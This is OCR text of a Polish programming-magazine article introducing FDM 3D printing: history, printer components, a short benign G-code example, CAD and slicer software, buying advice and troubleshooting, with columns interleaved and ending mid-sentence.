5. https://github.com/apache/logging-log4j2/commit/d82b47c zaangażowany w rozwój projektów open-source,
6. https://github.com/apache/logging-log4j2/commit/04637dd w szczególności FreeBSD.

{ WWW.PROGRAMISTAMAG.PL } <65>
PLANETA IT

Druk 3D. Jak zrobić coś z niczego


Czasy, gdy druk 3D był niszową ciekawostką dostępną tylko dla zaawansowanych i znających
się dobrze na elektronice majsterkowiczów, minęły już dawno temu. Drukarki 3D oraz prze-
znaczone dla nich akcesoria są już powszechnie dostępne – i to w bardzo przystępnych ce-
nach. Aby jednak przygodę z drukiem 3D rozpocząć bezproblemowo, warto przyswoić sobie
wcześniej trochę wiedzy.

HISTORIA swobody, mogąca przemieszczać się w określonym zakresie wzdłuż


wszystkich trzech osi: X, Y i Z. Pomimo prostej konstrukcji jest to
Technologia druku 3D jest starsza niż mogłoby się nam wydawać. Jej również urządzenie stosunkowo precyzyjne: głowicę można umieścić
mgliste początki sięgają roku 1945, gdy w krótkim opowiadaniu scien- w przestrzeni z dokładnością do dziesiątych części milimetra. Do za-
ce-fiction „Things Pass By” Murray Leinster opisał urządzenie, które stosowań domowych i amatorskich taka dokładność jest więcej niż
wykonuje w powietrzu wydruki przy pomocy stygnącego plastiku na zadowalająca.
podstawie zeskanowanego wcześniej obiektu. Podobny koncept poja- W konstrukcji każdej z drukarek znajdziemy kilka wspólnych
wił się w opowiadaniu „Tools of the Trade” pióra Raymonda F. Jonesa. elementów.
W roku 1971 zarejestrowano pierwszy patent (U.S. Patent 3596285A)
na urządzenie o nazwie „Liquid Metal Recorder”, co możemy zakwa-
lifikować jako pierwszy opis urządzenia drukującego w 3D, pozwa-
lającego na szybkie prototypowanie i produkcję zaprojektowanych
wcześniej kształtów. Najbardziej dynamiczny rozwój technologii na-
leżałoby jednak datować na lata 80. XX wieku, gdy praktycznie co
roku pojawiał się kolejny patent związany z drukiem 3D. Również
i w tej dekadzie, bo w roku 1988, opatentowano rozwiązanie o na-
zwie FDM (ang. Fused Deposition Modeling), które zastosowane jest
w większości współczesnych drukarek.
Zwolennicy mechanizmu patentowania rozwiązań technologicz-
nych twierdzą, że służy ono zwiększaniu konkurencji i wspieraniu
małych przedsiębiorstw. Mam na ten temat zupełnie odmienne zda-
nie, a opieram je po prostu na faktach: najwięcej małych firm produ-
kujących komercyjne drukarki 3D powstało po roku 2009, kiedy…
wygasł patent S. Scotta Crumpa, wynalazcy technologii FDM. Dodaj-
my, że w roku 1980 posiadanie drukarki 3D wiązało się z konieczno- Rysunek 1. Drukarka 3D (źródło: blackfrog.pl/drukarka-3d-creality-ender-3-175-mm-p-1882.html)

ścią wydania (w przeliczeniu na dzisiejsze pieniądze) równowartości


około 2 600 000 PLN. 1. Stół roboczy – miejsce, gdzie powstaje wydruk. Jest on zwykle
ogrzewany grzałką znajdującą się pod jego spodem. Najczę-

SPOSÓB DZIAŁANIA DRUKARKI FDM ściej stosuje się tanie, ale mające bardzo dobre właściwości łoża
szklane. Na zdjęciu widać stockowe łoże z materiału przypomi-
Na wstępie chciałbym zaznaczyć, że FDM jest zaledwie jedną z wielu nającego nieco papier ścierny.
technik drukowania 3D. Wiele z nich wymaga kosztownego sprzę- 2. Silniki krokowe sterujące osiami X, Y i Z. Za oś Z przyjmuje się
tu i materiałów, ale technologia idzie do przodu i pojawiają się już oś skierowaną pionowo do góry (prostopadłą do łoża).
powoli drukarki takie jak na przykład Creality LD-002H (drukująca 3. Głowica drukarki. Wewnątrz znajduje się blok grzewczy, który
w technologii DLP), których cena i parametry (np. zapotrzebowanie topi filament.
na energię elektryczną i wymiary) może kwalifikować je do zastoso- 4. Wentylator chłodzący blok grzewczy (zapobiega jego przegrzaniu).
wań amatorskich. Tym niemniej FDM wciąż jest najpopularniejszą 5. Wentylator studzący wydruk (nawiewa powietrze zaraz pod gło-
i przez to również okrzepłą techniką drukowania, więc w mojej oce- wicę drukującą).
nie nadaje się najlepiej dla początkującego adepta – metaforycznie 6. Dysza głowicy drukującej (zwykle w formie metalowego stożka
rzecz ujmując – tworzenia czegoś z niczego. z niewielkim otworem – najczęściej o średnicy 0.4 mm, ale by-
Drukarka FDM w swojej istocie jest urządzeniem CNC (ang. Com- wają mniejsze i większe).
puterized Numerical Control – komputerowe sterowanie urządzeń 7. Ekstruder. Zwykle składa się z silnika krokowego, na którego osi
numerycznych). Sercem całej maszyny jest głowica o 3 stopniach zamocowana jest mała zębatka o ostrych ząbkach, do której do-

<66> { 2 / 2022 < 101 > }


PLANETA IT

ciskany jest filament. Jej obrót powoduje wsuwanie filamentu do


rurki i w efekcie podawanie go do bloku grzewczego. Na zdjęciu
możemy zobaczyć ekstruder wyposażony w rurkę, tzw. Bowden,
ale istnieją też ekstrudery podające filament bezpośrednio do
bloku grzewczego (mocowane zaraz nad nim, na karetce).
8. Zasilacz.
9. Elektronika – płyta główna drukarki wraz ze sterownikami sil-
ników krokowych.
10. Wyświetlacz i enkoder, przy pomocy którego możemy konfigu-
rować drukarkę i sterować wydrukami.

Na powyższym zdjęciu brakuje uchwytu na szpulę z filamentem,


który w tym konkretnym modelu zamontowany jest na górnej bel-
ce drukarki, ale w praktyce może znajdować się gdziekolwiek, nawet
obok drukarki.
Samo drukowanie składa się z kilku etapów.
1. Włączamy drukarkę. Następnie wkładamy do slotu kartę SD z od-
powiednio przygotowanym plikiem do wydruku lub podłącza-
my do komputera przy pomocy kabla USB (wtedy komputer
steruje drukarką bezpośrednio).
2. Nagrzewamy stół oraz głowicę. Nagrzanie stołu powoduje, że
pierwsza warstwa wydruku będzie lepiej do niego przylegała. Rysunek 3. Zbliżenie obszaru wydruku
3. Rozpoczynamy wydruk (na drukarce, gdy drukujemy z karty
SD, lub na komputerze, jeśli to on będzie sterował wydrukiem). Wydruk powstaje poprzez generowanie kolejnych, nakładających się
4. W trakcie wydruku ekstruder wpycha do bloku grzewczego fi- na siebie warstw. Po wydrukowaniu każdej z nich głowica podnoszona
lament, który topi się i wydobywa przez głowicę na zewnątrz. jest o zadaną wysokość (zwykle 0.1-0.2 mm) i rozpoczyna drukowanie
W tym samym czasie głowica przesuwa się wzdłuż zaplanowa- kolejnej warstwy. Ma to kilka bardzo istotnych konsekwencji: wzdłuż
nej wcześniej trasy, pozostawiając za sobą warstewkę stygnącego osi Z wydruk nigdy nie jest gładki, każdy skos i łuk składa się z dużej
filamentu. Temperatury topnienia filamentu sięgają okolic 200 liczby „schodków” (w zależności od rozdzielczości druku w tej osi).
stopni Celsjusza, więc w temperaturze pokojowej materiał ten
szybko zastyga, tworząc lity blok plastiku o zadanym kształcie.

Rysunek 4. Gotowy wydruk. Widać charakterystyczne „schodki” zamiast skosów (np. na dachu)

OD MODELU DO G-CODE
Wydruk sterowany jest przy pomocy komend napisanych w specjal-
nym języku zwanym G-code. Język ów ma długą, siwą brodę, bo jego
pierwsza wersja powstała w roku 1950, a został on stworzony spe-
cjalnie na potrzeby urządzeń CNC. Komenda w G-Code składa się
z identyfikatora polecenia (przeważnie litery i jednej lub dwóch cyfr),
po których następują opcjonalne parametry. Przykładowy, napisany
Rysunek 2. Drukarka 3D w czasie trwania wydruku – zdjęcie termowizyjne
w G-Code fragment instrukcji sterowania drukarki może wyglądać
następująco:

<68> { 2 / 2022 < 101 > }


/ Druk 3D. Jak zrobić coś z niczego /

Listing 1. Fragment skryptu w formacie G-Code „make”, czyli tworzyć). Wersja ta ma wprawdzie kilka ograniczeń,
w szczególności można jednocześnie posiadać maksymalnie 10 edy-
G92 E0
G28 towalnych projektów naraz (ale można swobodnie aktywować i dez-
G1 Z2.0 F3000
G1 X0.1 Y20 Z0.3 F5000.0
aktywować je w ramach wspomnianego limitu), lista eksportowanych
G1 X0.1 Y200.0 Z0.3 F1500.0 E15 formatów jest wyraźnie ograniczona, brakuje też zaawansowanych
funkcjonalności wspomagających produkcję i nie ma możliwości
Oznacza on w kolejności: przeprowadzania symulacji. O ile jednak ograniczenia na pierwszy
» Zresetowanie licznika filamentu (poinformowanie drukarki, że rzut oka mogą brzmieć zniechęcająco, to w praktyce właściwie w żad-
ekstruder w tym momencie znajduje się w pozycji „0”). nym stopniu nie przeszkadzają w projektowaniu elementów do dru-
» Przemieszczenie głowicy do położenia domowego (ang. home), ku 3D.
czyli do punktu (0, 0, 0). Jeśli z jakiegoś powodu Fusion360 nie przypadnie komuś do gu-
» Ustawienie głowicy 2 mm nad łożem, przesunięcie z prędkością stu, istnieją też inne opcje. Z komercyjnych produktów możemy wy-
3000 mm/min. liczyć DesignSpark Mechanical, SketchUp Free oraz OnShape Free,
» Przesunięcie głowicy do pozycji (0.1, 20, 0.3) z prędkością 5000 które również mają darmowe wersje (ostatnie dwa działają w przeglą-
mm/min. darce). Trochę liczyłem, że z czasem do tego grona dołączy Siemens
» Przesunięcie głowicy do pozycji (0.1, 200.0, 0.3) z prędkością ze swoim świetnym SolidWorks, ale póki co dostępna jest jedynie
1500 mm/min oraz wytłoczenie w tym czasie 15 mm filamentu. 30-dniowa wersja testowa. Jeżeli natomiast chcemy pozostać wierni
rozwiązaniom FOSS, możemy skorzystać z FreeCada. Gdy zaczyna-
I tak dalej: kolejne instrukcje mówią drukarce, jakie dokładnie czyn- łem swoją przygodę z drukowaniem 3D, nie był on zbyt stabilny i wy-
ności powinna ona wykonywać, a ta ogranicza się do ich bezmyślnej godny w użyciu, ale jest on bardzo dynamicznie rozwijany i średnio
realizacji. Piszę „bezmyślnej” zupełnie świadomie, bo przy pomocy co półtora roku pojawia się nowa wersja.
odpowiednio przygotowanego G-Code możemy zmusić drukarkę, Każdy ze wspomnianych programów daje możliwość wyeksporto-
żeby na przykład spróbowała przesunąć głowicę poprzez już wykona- wania zaprojektowanych brył do formatu STL (od: Stereolitography).
ny wydruk, co może skończyć się uszkodzeniem wydruku w najlep- Również i ten format ma długą, siwą brodę i jest tekstowy (choć ma
szym, a drukarki w najgorszym wypadku. też wersję binarną), a służy on do opisywania brył składających się
Znajomość G-Code nie jest w żadnej mierze konieczna do dru- z trójwymiarowych wielokątów. Potrzebujemy go zaś dlatego, że jest
kowania 3D, ale czasem okazuje się być przydatna, o czym później. on najpopularniejszym formatem akceptowanym przez tzw. slicery,
G-Code – wierzcie lub nie – pisany był kiedyś ręcznie. I to do- czyli programy generujące instrukcje G-Code dla drukarek 3D.
słownie: przed wprowadzeniem instrukcji do urządzenia CNC inży- Jak pamiętamy, wydruk w technologii FDM polega na nakładaniu
nierowie rozpisywali je wszystkie w notesie. Współcześnie nie ma już na siebie przez drukarkę kolejnych, płaskich warstw materiału. Aby
takiej potrzeby, G-Code generowany jest automatycznie przez odpo- więc móc wydrukować zaprojektowaną przez nas wcześniej bryłę,
wiednie oprogramowanie. Zacznijmy jednak od początku. musimy pociąć ją na płaskie przekroje, a potem zaplanować, w jaki
Wszystko zaczyna się od przygotowania modelu do wydruku. sposób drukarka będzie każdy z nich drukować. Zadaniem tym zaj-
Mamy tu, uogólniając, dwie główne opcje. Jeżeli zależy nam na wy- muje się właśnie slicer, którego nazwa stosunkowo dobrze oddaje
drukowaniu obiektów o wartości artystycznej (na przykład figurek, sposób działania (z ang. slice oznacza szatkować, ciąć na plasterki).
dekoracji itp.), to do ich stworzenia możemy posłużyć się oprogra- Proces generowania G-Code na podstawie przygotowanej przez
mowaniem do modelowania 3D. Jeśli natomiast projektujemy ele- nas bryły nie jest łatwym zadaniem, ale pomimo tego wszystkie (zna-
ment jakiejś maszyny, obudowę lub część zamienną, to wtedy znacz- ne mi) slicery są darmowe. Sam używam aplikacji Cura produkowa-
nie wygodniej skorzystać jest z programów typu CAD. Pozwalają one nej przez Ultimakera. Ultimaker ma w ofercie swoje własne drukarki,
bowiem na projektowanie numeryczne, czyli precyzyjne definiowa- ale Cura zawiera wbudowane domyślne ustawienia dla większości
nie wymiarów, odległości, kątów oraz geometrycznych relacji ele- drukarek na rynku. Nie miałem nigdy potrzeby rozglądać się za alter-
mentów szkicu. natywą, Cura robi naprawdę dobrą robotę, ale gdyby ktoś chciał za-
Przy założeniu, że drukować będziemy amatorsko, hobbystycz- interesować się innymi rozwiązaniami, możemy wspomnieć jeszcze
nie, najbardziej interesować nas będą oczywiście rozwiązania darmo- o Meshmixerze od Autodeska czy też otwarto-źródłowym Slic3rze.
we. W przypadku modelowania 3D sprawa jest bardzo prosta, mamy
rewelacyjnego, otwarto-źródłowego Blendera (który w przeciągu
PULP FICTION, CZYLI ZAKUP DRUKARKI
ostatnich kilku lat stał się tak funkcjonalny, że współcześnie używa
się go również komercyjnie), potem długo, długo, długo nic i dopiero Cofnijmy się jeszcze o jeden krok. Wiemy już, jak drukarka druku-
potem resztę innych, darmowych rozwiązań, którymi prawdopodob- je bryły i jak (ogólnie) wygląda cały proces rozpoczynający się za-
nie nie ma co zaprzątać sobie głowy. projektowaniem obiektu, a kończący zdjęciem go z łoża drukarki po
Z oprogramowaniem typu CAD jest nieco trudniej, ale i tu nie zakończeniu wydruku. Aby jednak móc ten proces przeprowadzić,
zostajemy na lodzie. Według mnie najlepszym programem do pro- musimy oczywiście na początku wyposażyć się w samą drukarkę.
jektowania 3D jest Fusion360 ze stajni Autodeska, który dostępny No i tu zaczyna się robić ciekawie, a to dlatego, że drukarkę 3D
jest również w darmowej wersji przeznaczonej dla twórców (ama- można najzwyczajniej w świecie zbudować samodzielnie. Na rynku
torów wydruku 3D określa się mianem „makerów” od angielskiego dostępne są bodaj wszystkie potrzebne komponenty, od aluminio-

{ WWW.PROGRAMISTAMAG.PL } <69>
PLANETA IT

wych ram, przez silniki krokowe, sterowniki silników i płyty główne Idziemy dalej. Czwartym powodem jest to, że do Endera 3 można
drukarek, bloki grzewcze, grzałki, głowice – czego dusza zapragnie. dokupić całą masę różnych modów i ulepszeń. Z czasem, jeżeli dru-
O ile jednak budowa drukarki ma ogromną wartość poznawczą kowanie 3D przypadnie nam do gustu, możemy na przykład wypo-
– w czasie tego procesu uczymy się bowiem praktycznie każdego sażyć się w lepszą płytę główną, która wyciszy silniki i zapewni kilka
aspektu jej pracy – trzeba mieć na uwadze, że wszystkie problemy dodatkowych zabezpieczeń (np. przed konsekwencjami wypadnięcia
trzeba rozwiązywać samodzielnie, no i oczywiście cały proces zajmu- grzałki z bloku grzewczego). Za niewielkie pieniądze możemy kupić
je sporo czasu. Mam kolegę, który rozpoczął budowę swojej drukar- też aluminiowy ekstruder, który jest o niebo lepszy od stockowego,
ki, ale w międzyczasie urodziła mu się dwójka dzieci i projekt musiał plastikowego (to polecam zrobić nawet od razu po zakupie drukarki,
zawiesić. Jeżeli więc budowanie urządzeń nie jest dla czytelnika in- bo mówimy o koszcie w granicach 50 PLN). Możemy też wymienić
teresujące samo w sobie, a bardziej zależy mu po prostu na samym wózek osi X na liniowy, blok grzewczy na tytanowy, który zapobiega
drukowaniu, chyba lepiej zebrać trochę pieniędzy i po prostu taką zatykaniu przez zastygnięty filament, albo zamontować drugą śrubę
drukarkę kupić. osi Z, co zwiększy nieco precyzję wydruku. W sprzedaży dostępny
Oczywiście natychmiast pojawi się pytanie: którą? Na rynku do- jest też dotykowy ekran, kompatybilny z ulepszoną płytą główną,
stępna jest ogromna liczba drukarek różnych producentów: Cre- a także bardziej zaawansowane modyfikacje, jak na przykład bezpo-
ality3D, Prusa, Ultimaker – żeby wymienić tych najbardziej popu- średni ekstruder czy też czujnik, przy pomocy którego możemy auto-
larnych. Jeżeli mamy do dyspozycji odpowiednią sumę pieniędzy, matycznie poziomować wydruk.
można przebierać w opcjach, dlatego postaram się raczej skupić na To jeszcze nie wszystko. Na rynku można bez większych pro-
sytuacji, w której nasz budżet jest bardziej ograniczony. blemów dostać części zamienne do tej drukarki, na przykład silniki
Na rynku ostatnimi czasy pojawiło się wiele miniaturowych i ta- krokowe, płytę główną (jeśli ktoś bardzo polubi stockową) czy też na
nich drukarek, których cena oscyluje w okolicach 400 PLN. W du- przykład łoże razem z grzałką, wentylatory albo blok grzewczy. Jeśli
żym skrócie: unikamy. Są to urządzenia bardzo proste, o których poza w drukarce coś się uszkodzi, możemy stosunkowo łatwo to naprawić.
tym, że faktycznie próbują coś drukować, nie da się powiedzieć wiele I na sam koniec, standardową praktyką posiadaczy drukarek 3D jest
więcej dobrego. Mają one przeważnie bardzo małe pole robocze, co ulepszanie ich przy pomocy wydrukowanych elementów. Na popular-
znacząco ogranicza wymiary drukowanych przedmiotów, często nie nym repozytorium modeli do drukowania Thingiverse (thingiverse.com)
są w stanie podgrzewać łoża, co uniemożliwia drukowanie przy po- znajdziemy na przykład kompatybilne z Enderem 3: osłonę otworów
mocy niektórych materiałów, poziomowanie obszaru roboczego jest wentylacyjnych elektroniki, prowadnice filamentu, dzięki którym
w nich często mocno utrudnione, konstrukcja jest na tyle niedokład- trafia on do ekstrudera bardziej prostopadle, alternatywny, łożysko-
na, że odbija się to na niewielkiej precyzji wydruku i wreszcie możli- wany uchwyt na filament, który zmniejsza zużycie sterownika silni-
wości ewentualnej rozbudowy lub przebudowy są w praktyce żadne. ka ekstrudera, czy takie detale jak klipsy na kable albo szufladkę na
Istnieje jednak relatywnie niedroga drukarka, która świetnie na- potrzebne narzędzia, którą można umieścić w wolnym miejscu pod
daje się do rozpoczęcia przygody z drukowaniem 3D, a jest nią Cre- stołem roboczym.
ality3D Ender 3. Dlaczego właśnie ta? Można wymienić cały szereg
powodów.
Po pierwsze, doskonale mieści się ona w definicji budżetowej
drukarki. Obecnie dostępna jest za 899 PLN w polskich sklepach
(np. w botland.pl). Podpowiem też sprytniejszą metodę – można ją
również kupić w chińskim sklepie Gearbest (gearbest.com), ale wybrać
dostawę z Polski (Gearbest ma u nas magazyny). W ten sposób kupuje-
my wprawdzie w Chinach, ale urządzenie trafi do nas mniej więcej dwa
dni później. Tym sposobem zaoszczędzimy około 70 PLN. Dodajmy
tylko dla porównania, że najtańsza nowa Prusa, którą udało mi się zna-
leźć, kosztuje 2259 PLN, a za większy wariant, którego pole robocze ma
wymiary porównywalne do Endera 3, zapłacimy już 4500 PLN.
Drugim powodem, dla którego warto zainteresować się tym
modelem, jest fakt, iż nawet w stockowej konfiguracji drukuje ona
z bardzo przyzwoitą dokładnością. Rama zbudowana jest z solidnych
profili aluminiowych, a większość innych elementów jest też metalo-
wa, co w dużej mierze eliminuje wibracje i kołysanie się konstrukcji,
wpływając pozytywnie na wydruk. Podgrzewane łoże umożliwia też
drukowanie z takich materiałów, jak na przykład ABS.
Trzecim powodem jest to, iż drukarka ta jest niesamowicie popu-
larna. Dla przykładu, jeżeli zainteresujecie się kanałami na YouTube
poświęconymi drukowaniu 3D, przeważająca większość ich właści-
Rysunek 5. Łożyskowana prowadnica do filamentu – wydrukowana na drukarce 3D
cieli ma na stanie właśnie Endera w wersji 3 – nawet jeśli oprócz niej
posiadają więcej drukarek innych firm.

<70> { 2 / 2022 < 101 > }


/ Druk 3D. Jak zrobić coś z niczego /

Jeżeli tymi argumentami nie przekonałem czytelnika do zakupu Naszym wrogiem jest też grawitacja. Skoro każda następna war-
Endera 3, to niech powyższe zestawienie stanie się ogólnym prze- stwa musi przylegać do poprzedniej, to w konsekwencji drukarka nie
wodnikiem, na co zwracać uwagę podczas poszukiwania wymarzo- będzie w stanie wydrukować niczego, co bezpośrednio pod sobą nie
nej drukarki. Jako ciekawostkę mogę dodać, iż pomimo wprowa- ma materiału („wisi w powietrzu”). Ale są też wyjątki oraz sposoby
dzenia przez Creality kolejnych wersji Endera, „trójka” jest wciąż na obejście tego problemu.
produkowana i dostępna w sprzedaży. Pierwszym wyjątkiem od powyższej reguły są tak zwane mostki,
czyli nitki filamentu, które drukarka rozwiesza pomiędzy dwoma „fi-

MAM DRUKARKĘ – CO DALEJ? larami”. W czasie wydruku na głowicę nawiewane jest powietrze, któ-
re pomaga szybko wystudzić filament. Jeżeli mostek jest dostatecznie
Większość drukarek sprzedawana jest w stanie „częściowo złożo- krótki, powinien zdążyć zastygnąć zanim grawitacja „ściągnie” fila-
nym”. Oznacza to, że w pudełku znajdziemy kilka dużych części, któ- ment na dół. Co więcej, każda kolejna nitka mostka, oprócz tego, że
re musimy skręcić ze sobą zgodnie z załączoną instrukcją. Bez obaw, oprze się na „filarach”, przyklei się też do poprzedniej, zastygniętej
w większości przypadków sprowadza się to do przykręcania śrub już nitki, co również pomoże utrzymać ją w miejscu. Zwróćmy uwa-
i nakrętek (odpowiednie klucze są zwykle dołączone) oraz podłącza- gę na Rysunek 4 – łódeczkę Benchy. Wejście do budki oraz przednie
nia wtyczek. Od siebie dodam kilka rzeczy, na które warto zwrócić i tylne okno zostały wydrukowane właśnie przy pomocy mostków.
uwagę: Ograniczeniem dla mostków jest oczywiście ich długość. Slicery
» Zadbajmy o dobre napięcie wszystkich pasków zębatych. Jeżeli są sprytne i wykrywają konieczność ustawienia mostka – w takiej sy-
bowiem będą zbyt luźne, natychmiast odbije się to na niższej ja- tuacji pierwsze nitki, które będą wisieć w powietrzu, drukowane są
kości wydruków. zwykle nieco szybciej niż reszta wydruku. Czasami jednak mostek
» Skalibrujmy czujniki krańcowe. Najlepiej na początku ustawić jest zbyt długi i problem trzeba rozwiązać inaczej.
je (te, które możemy samodzielnie przemieszczać) wyraźnie za Drugim wyjątkiem dotyczącym drukowania „wiszących” ele-
wysoko, a następnie włączyć w drukarce opcję powrotu do po- mentów są skosy, czyli ściany, które są nachylone do płaszczyzny
zycji „0”. Pozwoli nam to ocenić, o ile jeszcze musimy krańcówki pod kątem mniejszym niż 90 stopni. Ponieważ wydruk odbywa się
przesunąć, by głowica znalazła się w minimalnej odległości nad warstwami, skosy takie budowane są w praktyce bardzo małymi frag-
stołem. Wystarczy ustawić ją 1-2 mm nad obszarem roboczym, mentami filamentu, które wystają nieco poza poprzednią warstwę. Są
bo docelową pozycję można skalibrować jeszcze, podnosząc lub one jednak na tyle małe, że kleistość płynnego filamentu wygrywa
opuszczając stół. z grawitacją. W przypadku Benchy’ego można to zaobserwować na
» Przed pierwszym wydrukiem ustawmy prawidłowo wysokość sto- przykład w przypadku dzioba łódki, który stanowi taki właśnie skos.
łu. Najlepiej wziąć ulotkę z grubego papieru (o grubości 0,2 mm Co dzieje się, jeśli nie mamy możliwości skorzystać z żadnego z po-
lub zbliżonej) i spróbować wsunąć pomiędzy głowicę i stół robo- wyższych wyjątków? W takim przypadku pozostaje nam wydrukowa-
czy. Powinno nam się to udać z lekkim, wyczuwalnym oporem. nie podpór – slicer przygotowuje cienkie i kruche elementy, których
Następnie ustawiamy głowicę ręcznie w czterech narożnikach zadaniem jest podparcie wydruku w kilku miejscach. Po zakończeniu
stołu roboczego (wyłączając wcześniej przy pomocy interfejsu wydruku elementy takie należy usunąć (wyłamać). Jeżeli dysponuje-
drukarki silniki krokowe) i w każdym z nich powtarzamy proce- my drukarką 3D potrafiącą drukować różnymi materiałami, do pod-
durę. Cały proces warto powtórzyć 2-3 razy. pór możemy zastosować materiał rozpuszczający się w wodzie – ich
usunięcie będzie wtedy znacznie prostsze.
Zanim zabierzemy się do zmaterializowania połowy Thingiverse- Większość drukarek wyposażona jest tylko w jedną głowicę, więc
’a, warto na początku wydrukować kostkę kalibracyjną (Calibration konieczność zastosowania podpór wiąże się z tym, że część wydruko-
Cube XYZ) oraz testową łódeczkę o nazwie Benchy (widoczną na wanego materiału trzeba będzie wyrzucić do kosza (a co gorsza, jest
Rysunku 4), które pomagają sprawdzić, czy drukarka jest prawi- to trudny w utylizacji plastik). Poza tym drukowanie podpór zajmuje
dłowo przygotowana do wykonywania bardziej zaawansowanych czas, więc warto dołożyć starań, by było ich jak najmniej.
wydruków. Ciekawym rozwiązaniem jest alternatywna orientacja wydruku.
Na przykład drukowałem kiedyś figurkę konika dla córki; normalnie

MOSTKI, SKOSY, PODPORY, musiałbym podeprzeć prawie cały wydruk (brzuch, ogon, szyję i gło-
wę). Wystarczyło jednak obrócić konia w taki sposób, że leżał na stole
ANTYGRAWITACJA I KOŃ DO GÓRY do góry nogami. Powstało w ten sposób na tyle dużo skosów, że licz-
NOGAMI ba podpór drastycznie zmalała, a potrzebne podpory były znacznie
Sposób realizacji wydruku w technologii FDM, czyli w szczególno- mniejsze. Skróciło to też czas wydruku z 21 do 15 godzin.
ści nakładanie na siebie kolejnych przekrojów drukowanego obiektu, Możliwość zastosowania podpór pociąga za sobą inne, ciekawe
niesie ze sobą pewne szczególne ograniczenia. konsekwencje. Pewnego razu, podczas projektowania obudowy do
Najbardziej oczywistym jest rozmiar obszaru roboczego drukar- jakiegoś urządzenia, zapędziłem się za daleko z wierceniem otworów
ki. Na przykład Ender 3 pozwala drukować obiekty o maksymalnych i nie zauważyłem, że jej fragment literalnie zawisł w powietrzu. Slicer
wymiarach 220x220x250 mm. Jeżeli potrzebujemy wydrukować więk- grzecznie pokroił bryłę, drukarka wydrukowała z podporami i do-
szy obiekt, musimy podzielić go na części i potem połączyć je ze sobą piero po zdjęciu wydruku ze stołu uświadomiłem sobie, że trzymam
lub po prostu zaopatrzyć się w większą drukarkę. w ręce dwa kawałki projektowanego elementu.

{ WWW.PROGRAMISTAMAG.PL } <71>
PLANETA IT

Drugi problem, który doprowadził w końcu do wymiany płyty


głównej, zaczął się od tego, że drukarka zaczęła mieć problem z dru-
kowaniem linii: były one poszatkowane („dziurawe”) i słabej jakości.
Próbowałem rozwiązać problem przez podwyższenie temperatury
wydruku i przekonfigurowanie drukarki w taki sposób, by poda-
wała nieco więcej filamentu niż zaplanował to slicer. Na krótki czas
wydruki poprawiły się, ale później problem powrócił. Żyłowałem
te parametry jeszcze przez jakiś czas, aż w końcu ekstruder zamilkł
i drukarka przestała drukować.
Okazało się, że winny był ekstruder, a raczej to, w jaki sposób
był do niego podawany filament. W Enderze podajnik filamentu jest
umieszczony niezbyt szczęśliwie na górnej belce drukarki, przez co
nitka materiału podawana jest do niego pod dosyć dużym kątem.
Zamontowałem wówczas na drukarce tylko jedną prowadnicę fila-
mentu, co trochę pomogło, ale niestety niewystarczająco. Filament
Rysunek 6. „Normalna” orientacja
podczas wydruków był cały czas napięty, więc zaczął żłobić sobie
w ekstruderze nową szparę, w której musiał się chyba trochę klino-
wać, co skutkowało niedodrukowanymi liniami.
Przez to jednak, że cały czas zmuszałem ekstruder do wpycha-
nia coraz większej ilości filamentu, ten ostatni zaczął w końcu za-
pychać blok grzewczy, co z kolei potęgowało problem przerwanych
linii. Jednocześnie silnik ekstrudera musiał chyba często pracować na
zwarciu, bo próbował wepchnąć do bloku grzewczego większą ilość
filamentu, niż było to możliwe. W efekcie po jakimś czasie spalił się
na płycie głównej kontroler silnika krokowego ekstrudera i drukarka
stanęła.

Rysunek 7. Po obrocie

Orientacja wydruku ma też istotne znaczenie w kwestii jego wytrzy-


małości. W szczególności wydrukowany element będzie miał znacz-
nie mniejszą wytrzymałość na zginanie wzdłuż osi Z, bo jest on tam
podatny na pękanie wzdłuż warstw. W takim przypadku lepiej jest
obrócić go o 90 stopni – wtedy będzie on znacznie trwalszy. Rysunek 8. Uszkodzony stockowy ekstruder

CO MOŻE PÓJŚĆ NIE TAK? Aby naprawić drukarkę, musiałem kupić nową płytę główną (ale sko-
rzystałem z okazji i wyposażyłem się w lepszy zamiennik), aluminio-
Niestety, całkiem sporo. Na jakość wydruku wpływa bowiem ogrom- wy ekstruder (50 PLN) i głowicę z nowym hotendem (69 PLN). Po
na liczba czynników, między innymi prawidłowe wypoziomowanie wymianie wspomnianych komponentów drukarka drukuje jak nowa.
stołu, ustawienie głowicy w odpowiedniej odległości, sztywność kon-
strukcji, zabezpieczenie przed wibracjami, temperatura wydruku,
materiał, z którego zrobiony jest stół roboczy, parametry wydruku
ustawione w slicerze – można wymieniać bez końca.
Z mojego doświadczenia mogę podzielić się dwoma bardzo egzo-
tycznymi problemami. Pierwszym z nich było wydrukowanie przez
drukarkę tylko kilku pierwszych warstw, po których głowica zaczę-
ła jeździć w powietrzu, nic w tym czasie nie drukując. Okazało się,
że zaplątał się filament: szpule nie bez powodu mają na krawędziach
otworki, w które należy zawsze włożyć luźną końcówkę. Ekstruder
obracał się w miejscu, bezskutecznie próbując podawać filament do Rysunek 9. Z lewej: kostka kalibracyjna wydrukowana przed naprawami. Po prawej: taka
bloku grzewczego, i drukarka przestała drukować. sama kostka po naprawach

<72> { 2 / 2022 < 101 > }


/ Druk 3D. Jak zrobić coś z niczego /

Dobra wiadomość jest taka, że ostatni przytoczony przeze mnie stotliwością, przez co hałasują one znacznie mniej), a ponadto
przykład jest skrajny; zazwyczaj problemy da się rozwiązać w znacz- można bez żadnych problemów podłączyć do niej dodatkowe
nie łatwiejszy sposób. Zła wiadomość jest jednak taka, że problemów akcesoria, jak na przykład czujnik do poziomowania stołu czy
z wydrukiem 3D jest cała masa i trzeba trochę nauczyć się swojej kolorowy ekran dotykowy.
drukarki, a także procesu drukowania jako takiego, by wiedzieć, jak » Aluminiowy ekstruder, znacznie solidniejszy od stockowego
je rozwiązać. plastikowego.
Żeby wymienić kilka, możemy mieć na przykład kłopoty z dru- » Szklany stół – znacznie wygodniejszy niż dostarczona z drukar-
kowaniem pierwszej warstwy (nieprzyleganie filamentu), drukowa- ką elastyczna płyta;
niem zbyt małej lub zbyt dużej ilości materiału, nieprzyleganiem
do siebie fragmentów wydruku, artefaktami na ściankach wydruku Wymiana każdego z elementów nie jest w żadnej mierze skompli-
(tzw. ghosting), niedokładnym wydrukiem w okolicach pierwszych kowana, ale rodzi konieczność poświęcenia drukarce trochę czasu
warstw (tzw. elephant’s foot albo warping – zawijanie brzegów wy- i przed rozpoczęciem przygody z drukowaniem 3D trzeba mieć tego
druku), drukowaniem mostków, wyciekaniem filamentu podczas świadomość. Bardzo pomaga tu jednak społeczność: istnieje chyba
